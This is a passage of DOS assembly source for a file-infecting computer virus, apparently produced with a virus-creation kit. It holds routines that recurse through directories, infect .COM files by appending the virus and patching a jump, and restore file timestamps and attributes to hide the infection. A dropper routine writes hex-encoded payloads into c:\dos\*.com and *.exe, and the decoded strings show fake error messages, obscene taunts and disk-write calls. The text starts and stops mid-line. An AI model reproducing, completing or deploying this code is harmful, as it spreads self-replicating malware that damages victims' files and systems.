function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + mov ah,040h ; DOS write to file function + mov cx,finish - start ; CX holds virus length + lea dx,[di + start] ; DX points to start of virus + int 021h + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +drop_program proc near + push di ; Save DI + mov ah,02Fh ; DOS get DTA function + int 021h + mov di,bx ; DI points to DTA + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + ret ; Return to caller +drop_program endp + + +data00 db "c:\dos\*.com",0 + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + +get_minute proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,cl ; Copy minute into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_minute endp + +get_month proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dh ; Copy month into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_month endp + +get_second proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,dh ; Copy second into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_second endp + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data01 dw 269h + db 0E9h, 000h, 000h, 0BFh, 012h, 001h, 0B9h, 073h + db 001h, 02Eh, 081h, 005h, 000h, 000h, 047h, 047h + db 0E2h, 0F7h, 0E8h, 000h, 000h, 05Dh, 081h, 0EDh + db 015h, 001h, 081h, 0FCh, 04Ah, 054h, 074h, 00Bh + db 08Dh, 0B6h, 0F8h, 001h, 0BFh, 000h, 001h, 057h + db 0A4h, 0EBh, 011h, 01Eh, 006h, 00Eh, 01Fh, 00Eh + db 007h, 08Dh, 0B6h, 0F7h, 001h, 08Dh, 0BEh, 0EFh + db 001h, 0A5h, 0A5h, 0A5h, 0A5h, 0C6h, 086h, 097h + db 004h, 003h, 0B4h, 01Ah, 08Dh, 096h, 06Ch, 004h + db 0CDh, 021h, 0B4h, 047h, 0B2h, 000h, 08Dh, 0B6h + db 02Ch, 004h, 0CDh, 021h, 0C6h, 086h, 02Bh, 004h + db 05Ch, 0B8h, 024h, 035h, 0CDh, 021h, 089h, 09Eh + db 027h, 004h, 08Ch, 086h, 029h, 004h, 0B4h, 025h + db 08Dh, 096h, 0E7h, 003h, 0CDh, 021h, 00Eh, 007h + db 08Dh, 096h, 0EAh, 003h, 0E8h, 0E3h, 000h, 08Dh + db 096h, 0F0h, 003h, 0E8h, 0DCh, 000h, 0B4h, 03Bh + db 08Dh, 096h, 0F6h, 003h, 0CDh, 021h, 073h, 0E8h + db 0B4h, 02Ah, 0CDh, 021h, 080h, 0FAh, 00Fh, 072h + db 020h, 081h, 0F9h, 0C8h, 007h, 072h, 01Ah, 03Ch + db 000h, 075h, 016h, 0B4h, 02Ch, 0CDh, 021h, 080h + db 0FDh, 013h, 075h, 00Dh, 080h, 0F9h, 0FFh, 074h + db 056h, 080h, 0FEh, 0FFh, 075h, 003h, 080h, 0FAh + db 03Ch, 0B8h, 024h, 025h, 0C5h, 096h, 027h, 004h + db 0CDh, 021h, 00Eh, 01Fh, 0B4h, 03Bh, 08Dh, 096h + db 02Bh, 004h, 0CDh, 021h, 0B4h, 01Ah, 0BAh, 080h + db 000h, 081h, 0FCh, 046h, 054h, 074h, 003h, 0CDh + db 021h, 0C3h, 007h, 01Fh, 0CDh, 021h, 08Ch, 0C0h + db 005h, 010h, 000h, 02Eh, 001h, 086h, 0F1h, 001h + db 02Eh, 003h, 086h, 0F5h, 001h, 0FAh, 02Eh, 08Bh + db 0A6h, 0F3h, 001h, 08Eh, 0D0h, 0FBh, 0EAh, 000h + db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h + db 0CDh, 020h, 000h, 000h, 000h, 000h, 000h, 0BEh + db 03Ah, 002h, 033h, 0D2h, 0E8h, 022h, 000h, 0BEh + db 03Ah, 002h, 0BAh, 001h, 000h, 0E8h, 019h, 000h + db 0BEh, 03Ah, 002h, 0BAh, 002h, 000h, 0E8h, 010h + db 000h, 0BEh, 03Ah, 002h, 0BAh, 003h, 000h, 0E8h + db 007h, 000h, 0B8h, 000h, 04Ch, 0CDh, 021h, 0EBh + db 088h, 0B8h, 043h, 000h, 0CDh, 014h, 0B4h, 001h + db 0ACh, 00Ah, 0C0h, 074h, 004h, 0CDh, 014h, 0EBh + db 0F5h, 0C3h, 041h, 054h, 026h, 046h, 04Ch, 030h + db 04Dh, 030h, 044h, 054h, 039h, 031h, 031h, 00Dh + db 00Ah, 000h, 05Bh, 04Dh, 050h, 043h, 05Dh, 000h + db 043h, 061h, 06Ch, 06Ch, 020h, 039h, 031h, 031h + db 020h, 000h, 0B4h, 04Eh, 0B9h, 007h, 000h, 0CDh + db 021h, 072h, 04Eh, 0B0h, 000h, 0E8h, 05Ch, 001h + db 0B4h, 03Fh, 08Dh, 096h, 098h, 004h, 0B9h, 01Ah + db 000h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 081h + db 0BEh, 098h, 004h, 04Dh, 05Ah, 074h, 026h, 08Bh + db 086h, 08Fh, 004h, 03Dh, 04Eh, 044h, 074h, 025h + db 08Bh, 086h, 086h, 004h, 03Dh, 0F4h, 001h, 072h + db 01Ch, 03Dh, 050h, 0FCh, 077h, 017h, 08Bh, 09Eh + db 099h, 004h, 081h, 0C3h, 0F9h, 002h, 03Bh, 0C3h + db 074h, 00Bh, 0EBh, 07Ch, 090h, 081h, 0BEh, 0A8h + db 004h, 04Ah, 054h, 075h, 005h, 0B4h, 04Fh, 0EBh + db 0AEh, 0C3h, 0C4h, 086h, 0ACh, 004h, 089h, 086h + db 0F7h, 001h, 08Ch, 086h, 0F9h, 001h, 0C4h, 086h + db 0A6h, 004h, 08Ch, 086h, 0FBh, 001h, 089h, 086h + db 0FDh, 001h, 08Bh, 086h, 0A0h, 004h, 0B1h, 004h + db 0D3h, 0E0h, 093h, 0C4h, 086h, 086h, 004h, 08Ch + db 0C2h, 050h, 052h, 02Bh, 0C3h, 083h, 0DAh, 000h + db 0B9h, 010h, 000h, 0F7h, 0F1h, 089h, 096h, 0ACh + db 004h, 089h, 086h, 0AEh, 004h, 089h, 086h, 0A6h + db 004h, 0C7h, 086h, 0A8h, 004h, 04Ah, 054h, 05Ah + db 058h, 005h, 0F6h, 002h, 083h, 0D2h, 000h, 0B1h + db 009h, 050h, 0D3h, 0E8h, 0D3h, 0CAh, 0F9h, 013h + db 0D0h, 058h, 080h, 0E4h, 001h, 089h, 096h, 09Ch + db 004h, 089h, 086h, 09Ah, 004h, 00Eh, 007h, 0FFh + db 0B6h, 0ACh, 004h, 0B9h, 01Ah, 000h, 0EBh, 01Ah + db 0B9h, 003h, 000h, 02Bh, 0C1h, 08Dh, 0B6h, 098h + db 004h, 08Dh, 0BEh, 0F8h, 001h, 0A5h, 0A4h, 0C6h + db 044h, 0FDh, 0E9h, 089h, 044h, 0FEh, 005h, 003h + db 001h, 050h, 051h, 033h, 0C9h, 0E8h, 08Eh, 000h + db 0B0h, 002h, 0E8h, 07Fh, 000h, 0B4h, 040h, 08Dh + db 096h, 098h, 004h, 059h, 0CDh, 021h, 0B8h, 002h + db 042h, 033h, 0C9h, 099h, 0CDh, 021h, 0B4h, 02Ch + db 0CDh, 021h, 089h, 096h, 00Ch, 001h, 08Dh, 0BEh + db 0F9h, 003h, 0B8h, 055h, 053h, 0ABh, 08Dh, 0B6h + db 003h, 001h, 0B9h, 00Fh, 000h, 056h, 051h, 0F3h + db 0A4h, 080h, 0B6h, 00Bh, 001h, 028h, 08Dh, 0B6h + db 0D8h, 003h, 0B9h, 00Fh, 000h, 0F3h, 0A4h, 059h + db 05Eh, 05Ah, 057h, 056h, 051h, 0F3h, 0A4h, 0B8h + db 05Dh, 05Bh, 0ABh, 0B0h, 0C3h, 0AAh, 083h, 0C2h + db 00Fh, 089h, 096h, 004h, 001h, 0E8h, 061h, 000h + db 059h, 05Fh, 05Eh, 0F3h, 0A4h, 0B8h, 001h, 057h + db 08Bh, 08Eh, 082h, 004h, 08Bh, 096h, 084h, 004h + db 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 0B5h, 000h + db 08Ah, 08Eh, 081h, 004h, 0E8h, 017h, 000h, 0FEh + db 08Eh, 097h, 004h, 075h, 004h, 058h, 0E9h, 0C7h + db 0FDh, 0E9h, 0E9h, 0FEh, 0B4h, 03Dh, 08Dh, 096h + db 08Ah, 004h, 0CDh, 021h, 093h, 0C3h, 0B8h, 001h + db 043h, 08Dh, 096h, 08Ah, 004h, 0CDh, 021h, 0C3h + db 05Bh, 05Dh, 0B4h, 040h, 08Dh, 096h, 003h, 001h + db 0B9h, 0F6h, 002h, 0CDh, 021h, 053h, 055h, 0B0h + db 003h, 0CFh, 02Ah, 02Eh, 065h, 078h, 065h, 000h + db 02Ah, 02Eh, 063h, 06Fh, 06Dh, 000h, 02Eh, 02Eh + db 000h + +data02 db "*.exe",0 + + +data03 dw 64Ah + db 0EBh, 007h, 069h, 090h, 090h, 090h, 0CDh, 020h + db 090h, 0E8h, 000h, 000h, 05Dh, 081h, 0EDh, 00Ch + db 001h, 050h, 0E8h, 002h, 000h, 0EBh, 021h, 03Eh + db 08Ah, 086h, 046h, 007h, 08Dh, 0B6h, 035h, 001h + db 0B9h, 00Fh, 006h, 030h, 004h, 0D2h, 0C0h, 046h + db 0E2h, 0F9h, 0C3h, 0E8h, 0E9h, 0FFh, 059h, 0CDh + db 021h, 0E8h, 0E3h, 0FFh, 0C3h, 051h, 0EBh, 0F3h + db 058h, 033h, 0FFh, 0FAh, 08Eh, 0D7h, 0BCh, 0F0h + db 002h, 0FBh, 0BEh, 096h, 000h, 036h, 08Bh, 01Ch + db 036h, 08Bh, 04Ch, 002h, 08Dh, 096h, 037h, 007h + db 036h, 089h, 014h, 036h, 08Ch, 04Ch, 002h, 026h + db 08Bh, 0B5h, 0F8h, 002h, 081h, 0FEh, 043h, 046h + db 075h, 002h, 0EBh, 035h, 02Eh, 089h, 05Dh, 04Ch + db 02Eh, 089h, 04Dh, 04Eh, 00Eh, 007h, 03Eh, 0C6h + db 086h, 074h, 007h, 000h, 03Eh, 0C6h, 086h, 043h + db 007h, 003h, 08Dh, 0B6h, 005h, 001h, 0BFh, 000h + db 001h, 0FCh, 0A5h, 0A5h, 0B4h, 01Ah, 08Dh, 096h + db 047h, 007h, 0CDh, 021h, 0B4h, 04Eh, 08Dh, 096h + db 03Ah, 007h, 08Dh, 0B6h, 065h, 007h, 052h, 0EBh + db 044h, 0B4h, 01Ah, 0BAh, 080h, 000h, 0CDh, 021h + db 033h, 0FFh, 08Eh, 0C7h, 0BEh, 096h, 000h, 02Eh + db 08Bh, 05Dh, 04Ch, 026h, 089h, 01Ch, 02Eh, 08Bh + db 04Dh, 04Eh, 026h, 089h, 04Ch, 002h, 00Eh, 007h + db 03Eh, 08Bh, 086h, 072h, 007h, 033h, 0DBh, 08Bh + db 0CBh, 08Bh, 0D1h, 08Bh, 0F2h, 08Bh, 0FEh, 0BCh + db 0FEh, 0FFh, 0BDh, 000h, 001h, 055h, 08Bh, 0E8h + db 0C3h, 00Bh, 0DBh, 074h, 006h, 0B4h, 03Eh, 0CDh + db 021h, 033h, 0DBh, 0B4h, 04Fh, 05Ah, 052h, 033h + db 0C9h, 033h, 0DBh, 0CDh, 021h, 073h, 003h, 0E9h + db 0A4h, 000h, 0B8h, 002h, 03Dh, 08Bh, 0D6h, 0CDh + db 021h, 072h, 0DEh, 08Bh, 0D8h, 0B4h, 03Fh, 0B9h + db 004h, 000h, 08Dh, 096h, 005h, 001h, 0CDh, 021h + db 03Eh, 080h, 0BEh, 008h, 001h, 069h, 074h, 0C9h + db 03Eh, 080h, 0BEh, 005h, 001h, 04Dh, 074h, 0C1h + db 0B8h, 002h, 042h, 033h, 0C9h, 033h, 0D2h, 0CDh + db 021h, 080h, 0FCh, 0F8h, 077h, 0B3h, 03Eh, 089h + db 086h, 075h, 007h, 0B4h, 040h, 0B9h, 004h, 000h + db 08Dh, 096h, 005h, 001h, 0CDh, 021h, 03Eh, 08Ah + db 0A6h, 046h, 007h, 0FEh, 0C4h, 080h, 0D4h, 000h + db 03Eh, 088h, 0A6h, 046h, 007h, 0B4h, 040h, 0B9h + db 03Eh, 006h, 08Dh, 096h, 009h, 001h, 0E8h, 0ECh + db 0FEh, 0B8h, 000h, 042h, 033h, 0C9h, 033h, 0D2h + db 0CDh, 021h, 03Eh, 08Bh, 086h, 075h, 007h, 040h + db 03Eh, 089h, 086h, 006h, 001h, 03Eh, 0C6h, 086h + db 005h, 001h, 0E9h, 03Eh, 0C6h, 086h, 008h, 001h + db 069h, 0B4h, 040h, 0B9h, 004h, 000h, 08Dh, 096h + db 005h, 001h, 0CDh, 021h, 03Eh, 0FEh, 086h, 074h + db 007h, 03Eh, 0FEh, 08Eh, 043h, 007h, 074h, 02Eh + db 03Eh, 0FEh, 086h, 046h, 007h, 03Eh, 080h, 096h + db 046h, 007h, 000h, 0E9h, 043h, 0FFh, 03Eh, 080h + db 0BEh, 074h, 007h, 003h, 073h, 018h, 0BFh, 000h + db 001h, 081h, 03Dh, 0CDh, 020h, 074h, 00Fh, 08Dh + db 096h, 040h, 007h, 0B4h, 03Bh, 0CDh, 021h, 072h + db 005h, 0B4h, 04Eh, 0E9h, 02Fh, 0FFh, 033h, 0FFh + db 08Eh, 0C7h, 0B4h, 02Ah, 0CDh, 021h, 080h, 0FAh + db 004h, 075h, 009h, 080h, 0FEh, 007h, 075h, 004h + db 033h, 0C0h, 0EBh, 01Eh, 0B4h, 02Ch, 0CDh, 021h + db 00Ah, 0C9h, 075h, 023h, 080h, 0FDh, 006h, 07Dh + db 01Eh, 002h, 0CDh, 08Bh, 0C1h, 098h, 002h, 0C6h + db 012h, 0C2h, 080h, 0D4h, 000h, 00Bh, 0C0h, 075h + db 001h, 040h, 08Bh, 0D0h, 0B9h, 001h, 000h, 033h + db 0DBh, 0B4h, 019h, 0CDh, 021h, 0CDh, 026h, 0BBh + db 0DCh, 003h, 0B4h, 02Ch, 0CDh, 021h, 0FEh, 0C6h + db 03Ah, 036h, 004h, 004h, 07Ch, 006h, 02Ah, 036h + db 004h, 004h, 0EBh, 0F4h, 08Ah, 0C6h, 08Ah, 0C8h + db 098h, 0D1h, 0E0h, 003h, 0D8h, 08Bh, 037h, 08Ah + db 06Ch, 0FFh, 08Bh, 0D6h, 0B4h, 009h, 0CDh, 021h + db 080h, 0FDh, 000h, 074h, 029h, 080h, 0FDh, 001h + db 074h, 0FEh, 080h, 0FDh, 002h, 074h, 021h, 080h + db 0FDh, 003h, 074h, 014h, 080h, 0FDh, 004h, 074h + db 057h, 080h, 0FDh, 005h, 074h, 06Dh, 080h, 0FDh + db 006h, 074h, 060h, 080h, 0FDh, 007h, 074h, 003h + db 0E9h, 056h, 0FEh, 0E8h, 0FDh, 0FFh, 0CDh, 020h + db 08Dh, 096h, 0A9h, 003h, 0B4h, 009h, 0CDh, 021h + db 0B4h, 001h, 0CDh, 021h, 08Dh, 096h, 0D9h, 003h + db 0B4h, 009h, 0CDh, 021h, 03Ch, 061h, 072h, 002h + db 02Ch, 020h, 03Ch, 041h, 074h, 0E0h, 03Ch, 052h + db 075h, 00Ch, 08Dh, 096h, 0D9h, 003h, 0B4h, 009h + db 0CDh, 021h, 08Ah, 0F1h, 0EBh, 08Eh, 03Ch, 049h + db 074h, 0C6h, 03Ch, 046h, 075h, 0CAh, 08Dh, 096h + db 0C7h, 003h, 0B4h, 009h, 0CDh, 021h, 0CDh, 020h + db 0B4h, 001h, 0CDh, 021h, 033h, 0C0h, 0B9h, 001h + db 000h, 08Bh, 0D0h, 08Dh, 09Eh, 077h, 007h, 0CDh + db 025h, 0EBh, 0A5h, 08Dh, 096h, 03Ah, 004h, 0B4h + db 009h, 0CDh, 021h, 0B4h, 001h, 0CDh, 021h, 0EBh + db 097h, 00Dh, 00Ah, 041h, 062h, 06Fh, 072h, 074h + db 02Ch, 020h, 052h, 065h, 074h, 072h, 079h, 02Ch + db 020h, 049h, 067h, 06Eh, 06Fh, 072h, 065h, 02Ch + db 020h, 046h, 061h, 069h, 06Ch, 03Fh, 024h, 00Dh + db 00Ah, 00Dh, 00Ah, 046h, 061h, 069h, 06Ch, 020h + db 06Fh, 06Eh, 020h, 049h, 04Eh, 054h, 020h, 032h + db 034h, 00Dh, 00Ah, 024h, 059h, 004h, 07Eh, 004h + db 0A2h, 004h, 0C8h, 004h, 006h, 004h, 0FFh, 004h + db 018h, 005h, 041h, 005h, 04Dh, 005h, 07Fh, 005h + db 0EEh, 005h, 0F7h, 005h, 014h, 006h, 027h, 006h + db 047h, 006h, 05Bh, 006h, 080h, 006h, 0ABh, 006h + db 0CCh, 006h, 0F4h, 006h, 014h, 004h, 049h, 027h + db 06Dh, 020h, 068h, 075h, 06Eh, 067h, 072h, 079h + db 021h, 020h, 020h, 049h, 06Eh, 073h, 065h, 072h + db 074h, 020h, 050h, 049h, 05Ah, 05Ah, 041h, 020h + db 026h, 020h, 042h, 045h, 045h, 052h, 020h, 069h + db 06Eh, 074h, 06Fh, 020h, 064h, 072h, 069h, 076h + db 065h, 020h, 041h, 03Ah, 020h, 061h, 06Eh, 064h + db 00Dh, 00Ah, 053h, 074h, 072h, 069h, 06Bh, 065h + db 020h, 061h, 06Eh, 079h, 020h, 06Bh, 065h, 079h + db 020h, 077h, 068h, 065h, 06Eh, 020h, 072h, 065h + db 061h, 064h, 079h, 02Eh, 02Eh, 02Eh, 020h, 024h + db 002h, 049h, 06Dh, 070h, 06Fh, 074h, 065h, 06Eh + db 063h, 065h, 020h, 065h, 072h, 072h, 06Fh, 072h + db 020h, 072h, 065h, 061h, 064h, 069h, 06Eh, 067h + db 020h, 075h, 073h, 065h, 072h, 027h, 073h, 020h + db 064h, 069h, 063h, 06Bh, 024h, 000h, 050h, 072h + db 06Fh, 067h, 072h, 061h, 06Dh, 020h, 074h, 06Fh + db 06Fh, 020h, 062h, 069h, 067h, 020h, 074h, 06Fh + db 020h, 066h, 069h, 074h, 020h, 069h, 06Eh, 020h + db 06Dh, 065h, 06Dh, 06Fh, 072h, 079h, 00Dh, 00Ah + db 024h, 001h, 043h, 061h, 06Eh, 06Eh, 06Fh, 074h + db 020h, 06Ch, 06Fh, 061h, 064h, 020h, 043h, 04Fh + db 04Dh, 04Dh, 041h, 04Eh, 044h, 02Ch, 020h, 073h + db 079h, 073h, 074h, 065h, 06Dh, 020h, 068h, 061h + db 06Ch, 074h, 065h, 064h, 00Dh, 00Ah, 024h, 000h + db 049h, 027h, 06Dh, 020h, 073h, 06Fh, 072h, 072h + db 079h, 02Ch, 020h, 044h, 061h, 076h, 065h, 02Eh + db 02Eh, 02Eh, 02Eh, 020h, 062h, 075h, 074h, 020h + db 049h, 027h, 06Dh, 020h, 061h, 066h, 072h, 061h + db 069h, 064h, 020h, 049h, 020h, 063h, 061h, 06Eh + db 027h, 074h, 020h, 064h, 06Fh, 020h, 074h, 068h + db 061h, 074h, 021h, 00Dh, 00Ah, 024h, 005h, 046h + db 06Fh, 072h, 06Dh, 061h, 074h, 020h, 061h, 06Eh + db 06Fh, 074h, 068h, 065h, 072h, 03Fh, 020h, 028h + db 059h, 02Fh, 04Eh, 029h, 03Fh, 020h, 024h, 007h + db 044h, 061h, 06Dh, 06Eh, 020h, 069h, 074h, 021h + db 020h, 020h, 049h, 020h, 074h, 06Fh, 06Ch, 064h + db 020h, 079h, 06Fh, 075h, 020h, 06Eh, 06Fh, 074h + db 020h, 074h, 06Fh, 020h, 074h, 06Fh, 075h, 063h + db 068h, 020h, 074h, 068h, 061h, 074h, 021h, 024h + db 000h, 053h, 075h, 063h, 06Bh, 020h, 06Dh, 065h + db 021h, 00Dh, 00Ah, 024h, 002h, 043h, 06Fh, 063h + db 06Bh, 073h, 075h, 063h, 06Bh, 065h, 072h, 020h + db 041h, 074h, 020h, 04Bh, 065h, 079h, 062h, 06Fh + db 061h, 072h, 064h, 020h, 065h, 072h, 072h, 06Fh + db 072h, 020h, 072h, 065h, 061h, 064h, 069h, 06Eh + db 067h, 020h, 064h, 065h, 076h, 069h, 063h, 065h + db 020h, 043h, 04Fh, 04Eh, 03Ah, 024h, 000h, 007h + db 00Dh, 00Dh, 00Dh, 007h, 00Dh, 00Dh, 00Dh, 007h + db 00Dh, 00Dh, 00Dh, 00Ah, 049h, 027h, 06Dh, 020h + db 073h, 06Fh, 072h, 072h, 079h, 02Ch, 020h, 062h + db 075h, 074h, 020h, 079h, 06Fh, 075h, 072h, 020h + db 063h, 061h, 06Ch, 06Ch, 020h, 063h, 061h, 06Eh + db 06Eh, 06Fh, 074h, 020h, 062h, 065h, 020h, 063h + db 06Fh, 06Dh, 070h, 06Ch, 065h, 074h, 065h, 064h + db 020h, 061h, 073h, 020h, 064h, 069h, 061h, 06Ch + db 065h, 064h, 02Eh, 00Dh, 00Ah, 050h, 06Ch, 065h + db 061h, 073h, 065h, 020h, 068h, 061h, 06Eh, 067h + db 020h, 075h, 070h, 020h, 026h, 020h, 074h, 072h + db 079h, 020h, 079h, 06Fh, 075h, 072h, 020h, 063h + db 061h, 06Ch, 06Ch, 020h, 061h, 067h, 061h, 069h + db 06Eh, 02Eh, 00Dh, 00Ah, 024h, 000h, 04Eh, 06Fh + db 021h, 00Dh, 00Ah, 00Dh, 00Ah, 024h, 001h, 050h + db 061h, 06Eh, 069h, 063h, 020h, 06Bh, 065h, 072h + db 06Eh, 061h, 06Ch, 020h, 06Dh, 06Fh, 064h, 065h + db 020h, 069h, 06Eh, 074h, 065h, 072h, 072h, 075h + db 070h, 074h, 024h, 005h, 043h, 04Fh, 04Eh, 04Eh + db 045h, 043h, 054h, 020h, 031h, 032h, 030h, 030h + db 0ABh, 00Dh, 00Ah, 00Dh, 00Ah, 024h, 003h, 04Fh + db 06Bh, 061h, 079h, 02Ch, 020h, 06Fh, 06Bh, 061h + db 079h, 021h, 020h, 020h, 042h, 065h, 020h, 070h + db 061h, 074h, 069h, 065h, 06Eh, 074h, 021h, 020h + db 02Eh, 02Eh, 02Eh, 00Dh, 00Ah, 024h, 000h, 041h + db 06Eh, 064h, 020h, 069h, 066h, 020h, 049h, 020h + db 072h, 065h, 066h, 075h, 073h, 065h, 03Fh, 00Dh + db 00Ah, 024h, 003h, 046h, 075h, 063h, 06Bh, 020h + db 074h, 068h, 065h, 020h, 077h, 06Fh, 072h, 06Ch + db 064h, 020h, 061h, 06Eh, 064h, 020h, 069h, 074h + db 073h, 020h, 066h, 06Fh, 06Ch, 06Ch, 06Fh, 077h + db 065h, 072h, 073h, 021h, 00Dh, 00Ah, 024h, 003h + db 059h, 06Fh, 075h, 020h, 061h, 072h, 065h, 020h + db 070h, 061h, 074h, 068h, 065h, 074h, 069h, 063h + db 02Ch, 020h, 06Dh, 061h, 06Eh, 02Eh, 02Eh, 02Eh + db 020h, 079h, 06Fh, 075h, 020h, 06Bh, 06Eh, 06Fh + db 077h, 020h, 074h, 068h, 061h, 074h, 03Fh, 00Dh + db 00Ah, 024h, 000h, 043h, 075h, 06Dh, 020h, 06Fh + db 06Eh, 021h, 020h, 020h, 054h, 061h, 06Ch, 06Bh + db 020h, 044h, 049h, 052h, 054h, 059h, 020h, 074h + db 06Fh, 020h, 06Dh, 065h, 020h, 021h, 021h, 021h + db 00Dh, 00Ah, 024h, 000h, 059h, 06Fh, 075h, 072h + db 020h, 063h, 06Fh, 070h, 072h, 06Fh, 063h, 065h + db 073h, 073h, 06Fh, 072h, 020h, 